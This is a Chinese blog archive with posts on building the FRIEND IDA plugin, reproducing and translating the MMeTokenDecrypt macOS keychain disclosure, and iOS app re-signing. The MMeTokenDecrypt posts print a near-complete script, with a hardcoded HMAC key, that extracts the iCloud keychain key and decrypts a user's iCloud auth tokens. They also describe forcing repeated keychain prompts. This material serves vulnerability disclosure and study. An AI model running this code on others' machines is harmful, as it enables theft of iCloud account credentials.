Forest Mist

时は离れてるても、君の心は近くに感じる


  • Startseite

  • Archiv

  • Tags

IDA插件FRIEND编译操作实践

Veröffentlicht am 2017-09-29

FRIEND

以下安装步骤来源于Git源:FRIEND

翻译文章请查看这里

依赖环境

要编译IDA的插件,需要具备以下一些依赖条件:

  • CMake 3.3版本以上
  • 在MacOS或Linux系统上需要GCC或者Clang编译器
  • IDA SDK(本文基于6.8版本的,可以在这里下载对应的sdk,密码: yekv)
  • Hex-Rays SDK

如何获取 Hex-Rays SDK

在自己的ida应用包里面,可以将该文件夹拷贝出来。

如何安装CMake

可以到CMake的官网上面下载对应平台的安装包。

安装后,可能在命令行里面依旧会找不到cmake这个命令,这个时候需要添加以下环境变量:

1
PATH="/Applications/CMake.app/Contents/bin":"$PATH"

这个时候cmake命令就可以在终端下使用了:

1
2
3
4
5
6
7
8
9
10
11
$ cmake
Usage
cmake [options] <path-to-source>
cmake [options] <path-to-existing-build>
Specify a source directory to (re-)generate a build system for it in the
current working directory. Specify an existing build directory to
re-generate its build system.
Run 'cmake --help' for more information.

安装步骤

克隆工程

将工程克隆到本地文件夹中。

1
$ git clone https://github.com/alexhude/FRIEND.git

创建编译文件夹

进入刚刚克隆下来的远程仓库,创建一个build文件夹。

1
2
$ mkdir _build
$ cd _build

这里我们用的是IDA6.8版本,所以需要增加一个编译选项 DUSE_IDA6_SDK,指定是否为6.X的版本。

1
$ cmake -DUSE_IDA6_SDK=ON ..

得到以下结果:

cmake会帮我们创建好相应的makefile。

拷贝SDK文件夹

将我们上面下载的IDA SDK6.8文件夹和Hex-Rays SDK文件夹拷贝到FRIEND文件夹目录下,替换原有的文件夹,效果如图:

开始编译插件

之后我们就可以运行命令开始编译插件了。

1
$ make

编译结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
Scanning dependencies of target capstone
[ 3%] Creating directories for 'capstone'
[ 6%] Performing download step (git clone) for 'capstone'
Cloning into 'capstone'...
Already on 'master'
Your branch is up-to-date with 'origin/master'.
[ 10%] Performing patch step for 'capstone'
HEAD is now at a279481d Fix pp field in readPrefix for VEX3 and EVEX (#1015) (#1016)
[ 13%] Performing update step for 'capstone'
Current branch master is up to date.
[ 16%] Performing configure step for 'capstone'
-- The C compiler identification is AppleClang 8.1.0.8020042
-- The CXX compiler identification is AppleClang 8.1.0.8020042
-- Check for working C compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/cc
-- Check for working C compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++
-- Check for working CXX compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
CMake Warning:
Manually-specified variables were not used by the project:
CMAKE_CXX_FLAGS_DEBUG
CMAKE_CXX_FLAGS_MINSIZEREL
CMAKE_CXX_FLAGS_RELEASE
CMAKE_CXX_FLAGS_RELWITHDEBINFO
CMAKE_C_FLAGS_DEBUG
CMAKE_C_FLAGS_MINSIZEREL
CMAKE_C_FLAGS_RELEASE
CMAKE_C_FLAGS_RELWITHDEBINFO
-- Build files have been written to: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/src/capstone-build
[ 20%] Performing build step for 'capstone'
Scanning dependencies of target capstone-static
[ 6%] Building C object CMakeFiles/capstone-static.dir/cs.c.o
[ 12%] Building C object CMakeFiles/capstone-static.dir/MCInst.c.o
[ 18%] Building C object CMakeFiles/capstone-static.dir/MCInstrDesc.c.o
[ 25%] Building C object CMakeFiles/capstone-static.dir/MCRegisterInfo.c.o
[ 31%] Building C object CMakeFiles/capstone-static.dir/SStream.c.o
[ 37%] Building C object CMakeFiles/capstone-static.dir/utils.c.o
[ 43%] Building C object CMakeFiles/capstone-static.dir/arch/ARM/ARMDisassembler.c.o
[ 50%] Building C object CMakeFiles/capstone-static.dir/arch/ARM/ARMInstPrinter.c.o
[ 56%] Building C object CMakeFiles/capstone-static.dir/arch/ARM/ARMMapping.c.o
[ 62%] Building C object CMakeFiles/capstone-static.dir/arch/ARM/ARMModule.c.o
[ 68%] Building C object CMakeFiles/capstone-static.dir/arch/AArch64/AArch64BaseInfo.c.o
[ 75%] Building C object CMakeFiles/capstone-static.dir/arch/AArch64/AArch64Disassembler.c.o
[ 81%] Building C object CMakeFiles/capstone-static.dir/arch/AArch64/AArch64InstPrinter.c.o
[ 87%] Building C object CMakeFiles/capstone-static.dir/arch/AArch64/AArch64Mapping.c.o
[ 93%] Building C object CMakeFiles/capstone-static.dir/arch/AArch64/AArch64Module.c.o
[100%] Linking C static library libcapstone.a
[100%] Built target capstone-static
[ 23%] Performing install step for 'capstone'
[100%] Built target capstone-static
Install the project...
-- Install configuration: ""
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/arm64.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/arm.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/capstone.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/mips.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/ppc.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/x86.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/sparc.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/systemz.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/xcore.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/include/capstone/platform.h
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/capstone/lib/libcapstone.a
[ 26%] Completed 'capstone'
[ 26%] Built target capstone
Scanning dependencies of target pugixml
[ 30%] Creating directories for 'pugixml'
[ 33%] Performing download step (git clone) for 'pugixml'
Cloning into 'pugixml'...
error: RPC failed; curl 56 SSLRead() return error -9806
fatal: The remote end hung up unexpectedly
fatal: early EOF
fatal: index-pack failed
Cloning into 'pugixml'...
-- Had to git clone more than once:
2 times.
Already on 'master'
Your branch is up-to-date with 'origin/master'.
[ 36%] No patch step for 'pugixml'
[ 40%] Performing update step for 'pugixml'
Current branch master is up to date.
[ 43%] Performing configure step for 'pugixml'
-- The C compiler identification is AppleClang 8.1.0.8020042
-- The CXX compiler identification is AppleClang 8.1.0.8020042
-- Check for working C compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/cc
-- Check for working C compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Check for working CXX compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++
-- Check for working CXX compiler: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
CMake Warning:
Manually-specified variables were not used by the project:
CMAKE_CXX_FLAGS_DEBUG
CMAKE_CXX_FLAGS_MINSIZEREL
CMAKE_CXX_FLAGS_RELEASE
CMAKE_CXX_FLAGS_RELWITHDEBINFO
CMAKE_C_FLAGS_DEBUG
CMAKE_C_FLAGS_MINSIZEREL
CMAKE_C_FLAGS_RELEASE
CMAKE_C_FLAGS_RELWITHDEBINFO
-- Build files have been written to: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/src/pugixml-build
[ 46%] Performing build step for 'pugixml'
Scanning dependencies of target pugixml
[ 50%] Building CXX object CMakeFiles/pugixml.dir/src/pugixml.cpp.o
[100%] Linking CXX static library libpugixml.a
[100%] Built target pugixml
[ 50%] Performing install step for 'pugixml'
[100%] Built target pugixml
Install the project...
-- Install configuration: ""
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/lib/libpugixml.a
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/include/pugixml.hpp
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/include/pugiconfig.hpp
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/lib/cmake/pugixml/pugixml-config.cmake
-- Installing: /Users/chensh/myDoc/workSpace/FRIEND/_build/third_party/pugixml/lib/cmake/pugixml/pugixml-config-noconfig.cmake
[ 53%] Completed 'pugixml'
[ 53%] Built target pugixml
Scanning dependencies of target FRIEND.pmc64
[ 56%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/AArch64Extender.cpp.o
[ 60%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/AArch32Extender.cpp.o
[ 63%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/Documentation.cpp.o
[ 66%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/FRIEND.cpp.o
[ 70%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/FunctionSummary.cpp.o
[ 73%] Building CXX object CMakeFiles/FRIEND.pmc64.dir/FRIEND/Settings.cpp.o
[ 76%] Linking CXX shared module FRIEND.pmc64
[ 76%] Built target FRIEND.pmc64
Scanning dependencies of target FRIEND.pmc
[ 80%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/AArch64Extender.cpp.o
[ 83%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/AArch32Extender.cpp.o
[ 86%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/Documentation.cpp.o
[ 90%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/FRIEND.cpp.o
[ 93%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/FunctionSummary.cpp.o
[ 96%] Building CXX object CMakeFiles/FRIEND.pmc.dir/FRIEND/Settings.cpp.o
[100%] Linking CXX shared module FRIEND.pmc
[100%] Built target FRIEND.pmc

上面的编译过程,首先会下载两个第三方的库,一个是capstone
,一个是 pugixml。
然后开始编译目标二进制,最重得到我们需要的插件文件:

FRIEND.pmc和FRIEND.pmc64

拷贝插件

将生成的两个文件,拷贝到应用的插件目录下,然后重启idaq应用程序。

重启进入应用,我们随便打开一个二进制文件,然后就可以在Editor菜单项下的plugin看到我们新安装的插件:

加载XML

在我们克隆的项目工程,里面有个文件夹Configurations,存放了一些xml文件。

我们首次使用FRIEND的时候,需要加载一些xml配置,来显示对应的高亮关键词。

体验

配置好后,当我们鼠标定位到一些关键词后,我们就可以看到效果了。

IDA Plugin: FRIEND

Veröffentlicht am 2017-09-06

FRIEND

一个灵活查看寄存器和指令的文档扩展工具。

原文地址: FRIEND

翻译: Chensh

特性

FRIEND是一个IDA插件,用于改善反汇编以及在IDA视图里面展示寄存器和指令文档。

  1. 使用第三方库来改进处理器模块。(例如Capstone)
  1. 再IDA视图和反汇编视图里,对指令和寄存器进行提示。

  2. 在浏览器中显示高亮选项的扩展引用。

  3. 在IDA视图和反汇编视图里显示函数功能摘要。

  4. 可以选择你感兴趣的元素进行展示。

如何编译

准备编译环境

想要编译IDA插件,需要满足以下的依赖:

  • CMake 版本为3.3或更高。
  • 再Linux或者MacOS上面使用GCC或者Clang;Windows上面使用Visual Studio 2015。
  • Git。
  • IDA SDK(解压为idasdk)
  • Hex-Rays SDK(拷贝并重命名为 hexrays_sdk)

将IDA SDK的内容解压到idasdk文件夹内。并将Hex-Rays SDK拷贝并重命名为hexrays_sdk。在Linux或MacOS上面,你可以使用以下命令操作:

1
2
3
4
$ unzip /path/to/idasdk69.zip -d idasdk
$ mv idasdk/idasdk69/* idasdk
$ rm -r idasdk/idasdk69
$ cp -r /path/to/ida/plugins/hexrays_sdk hexrays_sdk

Linux

使用 cmake 命令准备编译环境,并运行 make 命令来编译插件:

1
2
3
4
$ mkdir _build
$ cd _build
$ cmake ..
$ make

MacOS

使用 cmake 命令准备编译环境,并运行 make 命令来编译插件:

1
2
3
4
$ mkdir _build
$ cd _build
$ cmake ..
$ make

如果你更倾向于使用Xcode工程来进行编译,那你可以运行以下命令来替换上面的步骤:

1
2
3
4
$ mkdir _build
$ cd _build
$ cmake -G Xcode ..
$ open FRIEND.xcodeproj # or simply run xcodebuild

Windows

使用 cmake 命令准备编译环境,并运行 make 命令来编译插件:

1
2
3
4
5
$ mkdir _build
$ cd _build
$ "%VS140COMNTOOLS%\..\..\VC\vcvarsall.bat" x86
$ cmake -G "Visual Studio 14 2015" ..
$ msbuild FRIEND.sln /p:Configuration=Release

安装

将编译出来的二进制文件拷贝到IDA Pro的插件目录里。以下是不同平台的默认路径:

系统 插件目录
Linux /opt/ida-6.95/plugins
macOS /Applications/IDA Pro 6.95/idabin/plugins
Windows %ProgramFiles(x86)%\IDA 6.95\plugins

配置文件

内容讨论请查看 这里

FRIEND 配置文件遵循以下文件结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<documentation>
<document id="pdf_id" name="ARM Architecture Reference Manual" version="A.k">
<path>/path/to/your/pdf/or/link</path>
</document>
<elements>
<group type="reg" name="Group Name">
<hint page="1" header="Element Header" doc_id="pdf_id" token="R0">info</>
...
</group>
<group type="ins" name="Group Name">
<hint page="2" header="Element Header" doc_id="pdf_id" token="MOV">info</>
...
</group>
...
</elements>
</documentation>

注意:你需要将你自己的pdf文件路径填充到上面的\标签,否则无法在浏览器进行文档扩展。

提示编辑器

为了使得本工程更加容易使用,这里有一个简单的配置编辑器。

注意: 这个编辑器只能在MacOS以及使用Xcode8及以上的环境才能够编译,其他系统不支持。

使用 cmake 命令来生成Xcode工程。

1
2
3
4
5
$ cd HintEditor/HintEditor/
$ mkdir _build
$ cd _build
$ cmake -G Xcode ..
$ xcodebuild

使用open命令来启动应用程序:

1
$ open Debug/HintEditor.app

依赖

FRIEND 依赖要求:

  • IDA SDK
  • Capstone (使用 Patches/capstone.diff 分支编译)
  • pugixml

提醒编辑器依赖要求:

  • AEXML (使用 Patches/aexml.diff 分支编译)

贡献者

@ in7egral, mbazaliy for bug reports and all kind of support
@ qwertyoruiopz, iH8sn0w, Morpheus______, xerub, msolnik, marcograss, pr0x13, _argp, oleavr, brinlyau and other gang for inspiration
@ _kamino_ for porting project to Windows and Linux
@ williballenthin for the idea of function summary

MMeTokenDecrypt.py

Veröffentlicht am 2017-07-08

MMeTokenDecrypt实践操作

  • 本文实践操作基于MMeTokenDecrypt项目。
  • 查看翻译请访问:MMeTokenDecrypt翻译
  • 实践者: Chensh

前言背景

在MacOS系统的深处,有一把神秘的小钥匙。这把密钥由44个随机字符组成,它的作用非常大。

有多大?它可以用来解开我们存储在系统里面的授权Token!

我们都知道(未读原文前我根本就不知道,😆),在MacOS里,用户的授权Token都存储在/Users/*/Library/Application Support/iCloud/Accounts/这个目录下,以用户的iCloud账号(邮箱)为名的文件,其存储格式是DSID,这个文件是加密过的。

那平常系统需要用到这个文件里面存储的token的时候,是如何解密的呢?

这里涉及另外一个密钥,这个密钥存储在用户的keyChain里面,一个名为iCloud的条目。

系统需要解密这个DSID文件时,就会从keyChain里面拿出解密密钥,进行base64编码,作为Hmac算法的消息体输入,然后和上面提到的神秘小钥匙进行了MD5加密,得到一把新的钥匙。

而这个DSID文件,是采用128位AES的CBC加密模式加密的。CBC加密模式就是密码分组链接模式,这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥(也就是上面新产生的那把钥匙)进行加密。当然,这个过程还混合了一个空的初始化向量进行计算。

所以,根据上文的分析,只要我们找到系统的神秘小钥匙和拿到keyChain里面iCloud的存储条目,那我们就可以尝试解密DSID这个文件,拿到用户的Token。

而这里的神秘小钥匙已经被原文作者找到了并提供出来,作者在原文里主要阐述的是keyChain里面存在的bug,导致解密密钥容易被泄露。

那么接下来,我们就开始复现作者的思路。

keyChain的不安全性

本来keychain作为用户存储密码的载体,应该是做到很安全的,但这里有一个原文作者认为的bug,恶意用户可以根据这个bug来绕过钥匙串密码从而拿到keychain里面存储的条目。当然,这个绕过方式是有条件的,以下分别介绍两种情况。

当用户没有设防

我们首先打开keychain应用(Spotlight里面输入Keychain Access进行搜索)。

然后在左侧种类栏目密码一项进行选中,右侧就会出现存储在本机上的所有安全信息存储。这里进行筛选,找到我们的试验目标:Chrome Safe Storage。这个条目存储了谷歌Chrome浏览器的安全存储信息解密密钥。

那要如何拿到这个解密密钥呢?上文我们已经提及到了,这里打开命令行。输入以下命令:

1
$ security find-generic-password -ga 'Chrome'

这里使用到了 security命令,它是非常强大命令行安全工具,之前我们重签的那篇文章里面也使用到了这个命令去查找有效的证书。

这里的参数解释如下:

  • find-generic-password 命令参数,是使用“查找密码”的功能。
  • -a,这个参数是匹配类型为“账户”的,用于过滤。
  • -g,这个参数是将查询到的密码显示出来。

运行这个命令后,系统马上就会弹出一个提示框,如下:

那么到这里,只要用户点击了“允许”按钮,那么就可以马上得到存储在keychain里面的密钥了。如下:

这里security请求钥匙串访问的权限,用户点击“允许”后,就能读取到相应的password。

假如有人未经你允许擅动你电脑,这个时候就可以轻而易举的窃取了你密码。

当然,如果是远程的恶意黑客,那么有可能会无限次弹出弹窗提示,直至逼到你点击“允许”按钮为止。

那我们该如何防范这种情况呢?请往下看。

当用户开启了“询问钥匙串密码”选项

我们回到刚刚keychain 里面那个chrome safe storage的条目,右键选择显示简介。

切换到访问控制的面板,将询问钥匙串密码选中。

这里有另外一个小bug,就是keychain里面的更改需要重复两次操作,才能真正的修改成功,当我们勾选了这个选项,切换到属性然后再切换回来的时候,发现这个选项又没有被选中,需要再重复操作一遍才行。

然后我们回到命令行,重新输入上面security的命令,这一次我们发现弹窗出来不一样了。这里需要我们输入钥匙串密码。

所以当我们开启了这个选项,就算别人偷偷用你的电脑,没有你的钥匙串密码,也无法得到其中的安全信息。这里就多了一道防护。

以上的操作步骤,我们主要对是否开启钥匙串密码的安全性做一点讨论。接下来我们要使用脚本来自动获取密码,并且结合系统的神秘小钥匙,用来解密我们iCloud条目里面的Token。

MMeToenDecrypt.py 解析

先引入所需要的库。

1
2
import base64, hashlib, hmac, subprocess, sys, glob, os, binasicc
from Foundation import NSData, NSPropertyListSerialization
  • base64用来加密iCloud的钥匙。
  • hashlib用于计算md5
  • subprocess用于fork一个子进程,并运行一个外部程序。

按照上面的方法,使用security命令获取iCloud条目的密码。

1
security find-generic-password -ws 'iCloud'
  • -w 参数是用于仅显示密码项。
  • -s 参数是用于指定类型为server的条目,并匹配后面的关键词。

在python里面,我们可以是subprocess库来运行外部程序,将shell环境下命令运行的结果返回到本程序。如果没有获取到,则打印报错信息,再退出程序。

1
2
3
4
iCloudKey = subprocess.check_output("security find-generic-password -ws 'iCloud' | awk {'print $1'}", shell=True).replace("\n", "")
if iCloudKey == "":
print "Error getting iCloud Decryption Key"
sys.exit()

得到iCloud的密码后,我们将其进行base64编码

1
msg = base64.b64decode(iCloudKey)

接下来上场的是我们那把神秘的小钥匙了。

它在所有的Macos版本里面都用于生成Hmac哈希。它是用于解密的关键。

在位于/System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit路径下的系统库,执行了下面的方法,调用了CCHmac来生成一个Hmac,用于解密秘钥。

1
KeychainAccountStorage _generateKeyFromData:
1
key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"

将上面得到的iCloudKey和系统神秘钥匙使用hmac进行md5计算。

并将我们得到的哈希值进行16进制转换。

1
2
hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
hexedKey = binascii.hexlify(hashed)

我们知道用户的授权Token都存放在~/Library/Application Support/iCloud/Accounts/ 下,所以要遍历一下该文件夹下面的文件,判断是否为我们所需要的DSID文件(纯数字文件名)。

1
2
3
4
5
6
7
8
9
10
11
12
mmeTokenFile = glob.glob("%s/Library/Application Support/iCloud/Account/*" % os.path.expanduser("~"))
for x in mmeTokenFile:
try:
int(x.split("/")[-1])
mmeTokenFile = x
except:
continue
if not isinstance(mmeTokenFile, str):
print"Could not find MMeTokenFile. You can specify the file manually"
sys.exit()
else:
print "Decrypting token plist -> [%s]\n" % mmeTokenFile

接下来我们使用openssl这个命令行工具,将一个空的初始化向量IV和上面已经被16进制转换的密钥,以及我们找到DSID文件,进行128位的AES解密。

1
decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mmeTokenFile), shell=True)

这里得到的decryptedBinary是解密出来的二进制数据,我们使用Foundation库里面的类来将它转化为可读取的plist格式。

然后遍历这个plist格式对象,将其中的内容打印出来。

1
2
3
4
5
6
7
binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
tokenPlist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
print "Successfully decrypted token plist!\n"
print "%s [%s -> %s]" % (tokenPlist["appleAccountInfo"]["primaryEmail"], tokenPlist["appleAccountInfo"]["fullName"], tokenPlist["appleAccountInfo"]["dsPrsID"])
print tokenPlist["tokens"]

至此,我们的重现步骤到此结束,整个流程下来你可以发现,只要用户不小心点击了“允许”按钮,我们就很容易的窃取到了iCloud里面的Token。

你可以尝试在自己的机子上运行这份代码,假如能够打印出来相关的iCloud账号Token,那就说明你成功重现了。

MMeTokenDecrypt

Veröffentlicht am 2017-07-04

MMeTokenDecrypt

原文链接: MMeTokenDecrypt

作者: manwhoami

翻译: Chensh

前言

这个程序利用了在macOS上授权访问钥匙串的流程中的一个缺陷,使得可以无需用户身份验证,即可解密或提取出所有存储在 macOS/ OS X/ OSX上面的授权令牌(Authorization Tokens)。

所有的授权令牌都存储在这个目录下:/Users/*/Library/Application Support/iCloud/Accounts/DSID。 DSID是每一个iCloud账户在苹果系统里的后端存储格式。

这个DSID格式文件使用了128位AES的CBC模式[^注1] 和一个空的初始化向量进行加密的。而针对这个文件的解密密钥则是存储在用户的钥匙串里面一个名为iCloud的服务条目下,名字是iCloud账户相关的邮件地址。

这个解密钥匙进行了base64编码,并作为Hmac算法[^注2]中的消息体,进行标准的MD5哈希加密。这里的问题是,Hmac算法里所需的输入钥匙,被藏在了MacOS内核深处。这个钥匙由44个随机字符组成,它是解密DSID文件的关键。本分支已经包含了这个钥匙,就我所知,到目前为止这个钥匙还未在网上被公开过。

意义

目前市面上的软件拥有类似功能的有一款名为“Elcomsoft Phone Breaker[^注3]”的取证工具。MMeTokenDecrypt是开源的,允许开发者包含这个解密iCloud授权的文件到他们的工程里。

苹果必须要重新设计钥匙串信息。因为本程序fork了一个苹果已经签名的二进制文件作为子进程,当用户看到钥匙串访问请求弹窗时,并没有意识到背后的危险。更进一步,攻击者可以重复弹出钥匙串弹窗给用户,直至用户允许了钥匙串访问为止,因为苹果并没有为拒绝选项设定一个超时。这将会使得iCloud授权令牌被盗窃,而这些令牌可以用来访问几乎所有iCloud的服务项目:iOS备份,iCloud联系人,iCloud Drive, iCloud 图片库, 查找我的好友,查找我的手机(查看我其他的项目)。

上报反馈历程

  • 2016年10月17日开始联系了苹果,我非常详细的阐述了如何破坏用户钥匙串授权的方法,并在不同的macOS系统版本中重现。
  • 直到2016年11月6日,没有得到苹果的任何反馈。(委屈😢失落的作者……)
  • bug报告包含了破坏整个钥匙串访问。MMeTokenDecrypt只是这个bug的其中一个实现。查看我的其他项目,OSXChromeDecrypt是这个bug的另外一种实现。
  • 报告中有个值得注意的摘录如下:

此外,假如我们是远程攻击者,当“询问钥匙串密码”的选项没有被勾选,那么我们本质上就是通过代码实现强制弹窗提示,迫使用户单击“允许”按钮,这样我们就可以获得密码。但是,如果“通过密码访问钥匙串”的选项被选中,并且用户点击了“拒绝”按钮,那么强制提示则会变得比较棘手。

  • 我已经把bug的报告上传到本项目中,并将实时同步苹果的更新。

用法

运行python文件:

1
$ python MMeDecrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Decrypting token plist -> [/Users/bob/Library/Application Support/iCloud/Accounts/123456789]
Successfully decrypted token plist!
bobloblaw@gmail.com Bob Loblaw -> [123456789]
cloudKitToken = AQAAAABYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mapsToken = AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeAuthToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=
mmeBTMMInfiniteToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeFMFAppToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~
mmeFMIPToken = AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~

注意

假如你是使用 homebrew 安装的python版本,那么你运行这个脚本的时候有可能会遇到以下错误:

1
2
3
4
5
user@system:~/code/MMeTokenDecrypt $ python MMeDecrypt.py
Traceback (most recent call last):
File "MMeDecrypt.py", line 2, in <module>
from Foundation import NSData, NSPropertyListSerialization
ImportError: No module named Foundation

想要解决这个问题,你可以手动指定一个你系统上默认的python版本的完整的路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@system:~/code/MMeTokenDecrypt $ /usr/bin/python MMeDecrypt.py
Decrypting token plist -> [/Users/user/Library/Application Support/iCloud/Accounts/123413453]
Successfully decrypted token plist!
user@email.com [First Last -> 123413453]
{
cloudKitToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mapsToken = "AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeAuthToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=";
mmeBTMMInfiniteToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeFMFAppToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
mmeFMIPToken = "AQAAAABXXXXXXXXXXXXXXXXXXXXXXXXXXXXX~";
}

已在Mac OS X EI Capitan 验证过

注释

注1: AES的CBC加密模式。即为密码分组链接模式(Cipher Block Chaining (CBC)),这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。

注2: Hmac算法,是密钥相关的哈希运算消息认证码,HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。

注3: Elcomsoft Phone Breaker是Elcomsoft公司的一款手机取证工具,具有解密、下载iCloud文件和备份,获取iCloud的Token,解析钥匙串等功能。

iOS应用打补丁及重签名操作实战

Veröffentlicht am 2017-06-30

iOS Apps打补丁及重签名实战操作笔记

原文: Patching and Re-Signing iOS Apps

以下笔记内容基于上面👆的翻译文章后的实战操作,没有阅读过原文的请先阅读一遍。

工欲善其事必先利其器

1. 安装包及Frida动态库

请先下载以下素材:

  • App安装包: UnCrackable_Level1.ipa
  • Frida动态库:FridaGadget.dylib

2. mobileprovision 文件

拥有开发者账号的,可以直接登录苹果开发者官网,然后新建一个App ID。

这里我创建的App ID是: com.osg.uncrack

根据文章要求,进而创建一个provisioning文件: COM_OSG_UNCRACK.mobileprovision

3. 创建 entitlements.plist文件

创建一个权限文件,名为:entitlements.plist,然后填入一下内容注意需要将其中的标识符改为你自己的账号标识符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>P683E34A2C.com.osg.uncrack</string>
<key>com.apple.developer.team-identifier</key>
<string>P683E34A2C</string>
<key>get-task-allow</key>
<true/>
<key>keychain-access-groups</key>
<array>
<string>P683E34A2C.*</string>
</array>
</dict>
</plist>

4. 下载并生成optool工具

根据原文的操作,我们在github上面克隆optool的仓库,并更新子模块。

更新完毕后,我们用Xcode打开工程,运行一下,就会生成optool工具了。在工程目录下的Produce里面,右键选择Show in Finder,然后在打开的文件夹里面,将文件拷贝到目录/usr/bin/下。

这样就可以在终端里面直接使用optool这个命令了。

5. 查询本地的证书

使用security命令查询本地钥匙串里面的证书。

这里我们将要用到的是第二个,也就是developer开发环境下的证书。我们把唯一标识码记录下来,一会重签名的时候会用到。

6. 安装ios-depoy

1
npm install -g ios-deploy

7. 安装Frida

1
sudo pip install frida

